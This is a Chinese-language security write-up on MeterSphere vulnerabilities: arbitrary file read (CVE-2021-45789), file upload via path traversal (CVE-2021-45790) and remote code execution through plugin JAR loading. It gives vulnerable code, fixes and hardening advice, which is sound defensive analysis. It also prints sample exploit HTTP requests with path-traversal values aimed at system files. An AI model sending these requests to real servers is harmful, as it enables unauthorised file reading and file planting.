Metersphere项目安全漏洞概览
字数 1335 2025-08-07 08:22:15
MeterSphere 安全漏洞分析与防护指南
1. 项目背景
MeterSphere 是一站式开源持续测试平台,主要功能包括:
- 测试跟踪
- 接口测试
- 性能测试
- 团队协作
技术架构:
- 基于 Spring Boot + Shiro 进行路由和权限控制
- 兼容 JMeter 等开源标准
- 使用 Shiro 框架进行权限控制
认证配置:
- 主要配置在
io.metersphere.config.ShiroConfig和io.metersphere.commons.utils.ShiroUtils - 默认所有路由都需要经过
apikey、csrf、authc三个过滤器
2. 历史漏洞分析
2.1 CVE-2021-45789 - 任意文件读取漏洞
影响版本:1.15.4 及之前版本
漏洞原理:
- 漏洞位于
io.metersphere.api.service.ApiAutomationService.loadFileAsBytes方法 - 未对文件路径进行过滤,直接拼接用户输入的
id和name参数 - 攻击者可构造恶意路径读取任意文件
关键代码:
public byte[] loadFileAsBytes(FileOperationRequest fileOperationRequest) {
File file = new File(FileUtils.BODY_FILE_DIR + "/" +
fileOperationRequest.getId() + "_" + fileOperationRequest.getName());
// 直接读取文件内容...
}
利用方式:
POST /api/automation/file/download HTTP/1.1
Host: host.com
Content-Type: application/json
{
"id": "",
"name": ".etc/passwd"
}
修复方案:
- 在文件路径中禁止
/字符出现 - 补丁 commit: 18c62d91f8e0
2.2 CVE-2021-45790 - 任意文件上传漏洞
影响版本:1.15.4 及之前版本
漏洞原理:
- 漏洞位于
io.metersphere.service.ResourceService.mdUpload方法 - 未对上传文件名和路径进行过滤
- 攻击者可通过路径穿越上传任意文件
关键代码:
public void mdUpload(MdUploadRequest request, MultipartFile file) {
FileUtils.uploadFile(file, FileUtils.MD_IMAGE_DIR,
request.getId() + "_" + request.getFileName());
}
利用方式:
POST /resource/md/upload HTTP/1.1
Host: host.com
Content-Type: multipart/form-data;boundary=xxx
--xxx
Content-Disposition: form-data;name="file"; fileName="test"
Content-Type: image/jpeg
123
--xxx
Content-Disposition: form-data;name="request"; fileName="xxx"
Content-Type: application/json
{
"id": "../",
"fileName": "../../tmp/test"
}
--xxx--
修复方案:
- 移除了
/resource/md/upload路由的匿名访问权限
2.3 远程代码执行漏洞
影响版本:1.16.3 及之前版本
漏洞原理:
- 通过
/plugin/add路由上传恶意 JAR 文件 - 系统使用
URLClassLoader加载恶意 JAR - 通过
/plugin/customMethod路由实例化并执行恶意类
攻击链分析:
- 上传 JAR 文件:
@PostMapping("/add")
public String create(@RequestPart(value = "file", required = false) MultipartFile file) {
return pluginService.editPlugin(file);
}
- 加载 JAR 文件:
private void loadJar(String jarPath) {
// 使用反射调用 URLClassLoader.addURL 方法
method.invoke(classLoader, url);
}
- 实例化并执行恶意类:
public Object customMethod(PluginRequest request) {
Class<?> clazz = Class.forName(request.getEntry());
Object instance = clazz.newInstance();
Object pluginObj = clazz.getDeclaredMethod("customMethod", String.class)
.invoke(instance, request.getRequest());
return pluginObj;
}
修复方案:
- 移除了
/plugin/路径的匿名访问权限 - 补丁 commit: 相关修复
3. 安全建议
-
及时更新:
- 确保使用最新版本的 MeterSphere
- 特别关注 1.16.4 及之后版本
-
权限控制:
- 严格限制匿名访问权限
- 对上传功能实施严格的权限控制
-
输入验证:
- 对所有用户输入进行严格过滤
- 特别防范路径穿越攻击
-
文件操作安全:
- 限制文件操作的范围
- 对上传文件进行严格的内容检查
-
代码执行防护:
- 避免动态加载不可信的代码
- 对反射调用进行严格限制
4. 总结
MeterSphere 作为一款开源测试平台,在快速发展过程中暴露了一些安全问题,主要包括:
- 任意文件读取
- 任意文件上传
- 远程代码执行
这些问题大多源于对用户输入缺乏充分验证和权限控制不足。通过分析这些漏洞,我们可以学习到在开发类似系统时应注意的安全要点,特别是在文件操作、权限控制和动态代码加载等方面需要格外谨慎。